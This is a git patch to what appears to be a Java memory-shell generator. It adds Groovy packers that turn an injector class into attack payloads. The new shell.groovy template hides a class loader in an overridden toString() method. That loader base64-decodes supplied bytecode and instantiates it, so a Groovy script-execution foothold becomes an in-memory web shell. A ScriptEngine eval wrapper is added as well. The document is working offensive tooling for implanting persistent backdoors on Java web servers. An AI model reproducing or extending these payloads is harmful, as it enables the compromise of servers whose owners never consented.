From 4f8ff51f8bd58c0569e811bd53fbaf0783054d71 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 11 May 2025 13:07:50 +0800 Subject: [PATCH] feat: add groovy definer packer --- .../reajason/javaweb/memshell/Packers.java | 5 +++ .../packer/groovy/GroovyDefinerPacker.java | 35 ++++++++++++++++++ .../memshell/packer/groovy/GroovyPacker.java | 12 ++----- .../groovy/GroovyScriptEnginePacker.java | 19 ++++++++++ generator/src/main/resources/shell.groovy | 36 +++++++++++++++++++ 5 files changed, 97 insertions(+), 10 deletions(-) create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyDefinerPacker.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyScriptEnginePacker.java create mode 100644 generator/src/main/resources/shell.groovy diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/Packers.java b/generator/src/main/java/com/reajason/javaweb/memshell/Packers.java index c48bed14..e0fc22b5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/Packers.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/Packers.java @@ -15,7 +15,9 @@ import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianXSLTScrip import com.reajason.javaweb.memshell.packer.deserialize.java.*; import com.reajason.javaweb.memshell.packer.el.ELPacker; import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker; +import com.reajason.javaweb.memshell.packer.groovy.GroovyDefinerPacker; import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker; +import com.reajason.javaweb.memshell.packer.groovy.GroovyScriptEnginePacker; import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker; import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker; import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker; @@ -90,6 +92,9 @@ public enum Packers { SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class), Groovy(new GroovyPacker()), + GroovyDefiner(new GroovyDefinerPacker(), GroovyPacker.class), + GroovyScriptEngine(new GroovyScriptEnginePacker(), GroovyPacker.class), + Freemarker(new FreemarkerPacker()), Velocity(new VelocityPacker()), JinJava(new JinJavaPacker()), diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyDefinerPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyDefinerPacker.java new file mode 100644 index 00000000..598c9ee3 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyDefinerPacker.java @@ -0,0 +1,35 @@ +package com.reajason.javaweb.memshell.packer.groovy; + +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; +import lombok.SneakyThrows; +import org.apache.commons.io.IOUtils; + +import java.io.IOException; +import java.nio.charset.Charset; +import java.util.Objects; + +/** + * @author ReaJason + * @since 2025/5/11 + */ +public class GroovyDefinerPacker implements Packer { + String template = null; + + public GroovyDefinerPacker() { + try { + template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.groovy")), Charset.defaultCharset()); + } catch (IOException ignored) { + + } + } + + @Override + @SneakyThrows + public String pack(GenerateResult generateResult) { + String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str(); + String injectorClassName = generateResult.getInjectorClassName(); + return template.replace("{{className}}", injectorClassName) + .replace("{{base64Str}}", injectorBytesBase64Str); + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyPacker.java index 195b782c..0faf9060 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyPacker.java @@ -1,19 +1,11 @@ package com.reajason.javaweb.memshell.packer.groovy; -import com.reajason.javaweb.memshell.Packers; -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.AggregatePacker; /** * @author ReaJason * @since 2024/12/13 */ -public class GroovyPacker implements Packer { - String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')"; +public class GroovyPacker implements AggregatePacker { - @Override - public String pack(GenerateResult generateResult) { - String script = Packers.ScriptEngine.getInstance().pack(generateResult); - return template.replace("{{script}}", script); - } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyScriptEnginePacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyScriptEnginePacker.java new file mode 100644 index 00000000..52dcd03e --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyScriptEnginePacker.java @@ -0,0 +1,19 @@ +package com.reajason.javaweb.memshell.packer.groovy; + +import com.reajason.javaweb.memshell.Packers; +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; + +/** + * @author ReaJason + * @since 2024/12/13 + */ +public class GroovyScriptEnginePacker implements Packer { + String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')"; + + @Override + public String pack(GenerateResult generateResult) { + String script = Packers.ScriptEngine.getInstance().pack(generateResult); + return template.replace("{{script}}", script); + } +} diff --git a/generator/src/main/resources/shell.groovy b/generator/src/main/resources/shell.groovy new file mode 100644 index 00000000..b878217d --- /dev/null +++ b/generator/src/main/resources/shell.groovy @@ -0,0 +1,36 @@ +class ClassDefiner extends ClassLoader { + public ClassDefiner() { + super(Thread.currentThread().getContextClassLoader()); + } + + public byte[] decodeBase64(String bytecodeBase64) { + java.util.Base64.Decoder decoder = java.util.Base64.getDecoder(); + return decoder.decode(bytecodeBase64); + } + + public Class defineClass(byte[] code) { + return defineClass(null, code, 0, code.length); + } + + @Override + public String toString() { + String className = "{{className}}"; + String base64Str = "{{base64Str}}"; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + try { + classLoader.loadClass(className).newInstance(); + } catch (Exception e) { + try { + byte[] bytecode = decodeBase64(base64Str); + Class clazz = defineClass(bytecode); + clazz.newInstance(); + } catch (Exception ignored) { + } + } + return className; + } + + static void main(String[] args) { + new ClassDefiner().toString(); + } +} \ No newline at end of file